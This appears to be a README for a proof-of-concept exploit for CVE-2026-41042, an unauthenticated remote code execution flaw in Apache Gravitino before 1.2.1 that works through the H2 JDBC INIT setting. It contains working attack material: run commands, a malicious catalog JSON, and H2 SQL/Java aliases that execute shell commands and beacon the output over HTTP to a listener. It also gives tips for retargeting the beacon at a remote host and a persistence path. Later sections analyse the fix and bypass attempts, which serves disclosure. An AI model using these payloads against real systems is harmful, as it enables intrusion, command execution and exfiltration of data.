
Exploits unauthenticated RCE in Apache Gravitino < 1.2.1 via H2 JDBC INIT; hosts SQL/Java payloads, executes commands, and exfiltrates output over HTTP beacon.
Self-contained, stdlib-only proof of concept for CVE-2026-41042: unauthenticated remote code execution in Apache Gravitino before 1.2.1 via the H2 JDBC INIT connection setting. No auth headers, no extra drivers, no pip installs.
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami
The script hosts the SQL payload and an output beacon, fires the testConnection request, and prints the command's stdout directly.
CVE assigned 2026-07-08, credited to Junjie Li (Xidian University). This is the first public working PoC for the issue. PoC by Akinlabi.
| Vulnerable | Apache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common) |
| Fixed | 1.2.1 |
| Advisory | https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm |
H2 1.4.200 ships in Gravitino's libs/ as the default entity-store backend, so the H2 driver is already on the server classpath. No extra driver needs to be deployed for the exploit to work.
POST /api/metalakes/{metalake}/catalogs/testConnection (Jersey resource org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, produces application/vnd.gravitino.v1+json) accepts a CatalogCreateRequest. The properties.jdbc-url value is handed to the catalog provider's connection factory with no validation of the JDBC driver.
Using the bundled H2 driver (org.h2.Driver) plus the H2 INIT connection setting executes arbitrary SQL at connect time, and CREATE ALIAS compiles and runs arbitrary Java on the server. The endpoint requires no authentication.
Requirements: Python 3, standard library only.
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
| Option | Default | Description |
|---|---|---|
target | (required) | Gravitino server, e.g. http://127.0.0.1:8090 |
--metalake | test_ml | Metalake the catalog will be tested under |
--cmd | whoami | Command to execute on the target |
--port | 9000 | Local port for the payload + beacon HTTP server |
Examples:
# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090
# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"
If the metalake does not exist, create one first (also unauthenticated):
curl -X POST http://<target>:8090/api/metalakes \
-H "Content-Type: application/json" \
-d '{"name":"test_ml"}'
127.0.0.1 with two routes: /poc.sql serves the generated payload, /beacon?out=... captures command output.{
"name": "h2rce",
"type": "RELATIONAL",
"provider": "jdbc-mysql",
"properties": {
"jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
"jdbc-user": "sa",
"jdbc-password": "",
"jdbc-driver": "org.h2.Driver"
}
}
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; StringBuilder sb = new StringBuilder();
while ((l = br.readLine()) != null) sb.append(l).append("\n");
br.close();
return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
u.openConnection().getInputStream().close();
return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));
SHELLEXEC runs the command and returns its stdout as a string; BEACON exfiltrates it to the listener over HTTP; the script polls the beacon for up to 5 seconds and prints the output.
jdbc-mysql provider's driver-version check (checkJDBCDriverVersion) fires after the connection is initialized, so the error is cosmetic: the INIT already ran. The error path is the execution path.A fresh random in-memory database name is generated per run (secrets.token_hex(6)), so H2 aliases never persist between runs and every execution is deterministic.
The same malicious jdbc-url also works through POST /api/metalakes/{ml}/catalogs, which returns HTTP 200 and persists the H2 INIT URL in the catalog configuration. Any later connection-forcing operation triggers execution at initialize time:
GET /api/metalakes/test_ml/catalogs/catreal/schemas
Both entry points route through the same initialize() -> DataSourceUtils.createDataSource path, so the 1.2.1 fix covers both.
DataSourceUtils.createDataSource now blocks H2 URLs and drivers (commits 84d3de9c7c / 5daabcd0e, verified in the 1.3.0 tree):
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}
recursiveDecode runs URLDecoder up to 5 times, so percent-encoding the prefix does not dodge the check. JdbcUrlUtils.validateJdbcConfig (also called from createDBCPDataSource) additionally blocks known-unsafe MySQL/MariaDB/PostgreSQL parameters (autoDeserialize, allowLoadLocalInfile, socketFactory, and friends).
Bypass attempts tested against a replica of the check with real H2 1.4.200: leading and trailing whitespace, 6x+ percent-encoding, case and tab tricks, suffix tricks, and non-JDBC providers. No clean bypass was found; the H2 vector appears solidly fixed in 1.2.1.
Apache rates this low, citing H2 as dev/test-only and Gravitino as typically internal. The default install contradicts that:
testConnection and createCatalog are unauthenticated when gravitino.authorization.enable=false, which is the default0.0.0.0:8090Realistic CVSS v3.1 estimate: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), subject to reachability of the Gravitino port.
127.0.0.1. This matches a lab where attacker and target share a host. For a remote target, change the 127.0.0.1 references in make_payload() and exploit() to your listener IP.cmd.exe /c (Windows lab). On Linux targets, swap the new String[]{"cmd.exe", "/c", cmd} line for /bin/sh -c.createCatalog persistence path is not automated in this script; use the manual request above.For authorized security testing and research only. Every technique here was developed and verified in a local lab. Pointing this at a system you do not own may be illegal in your jurisdiction.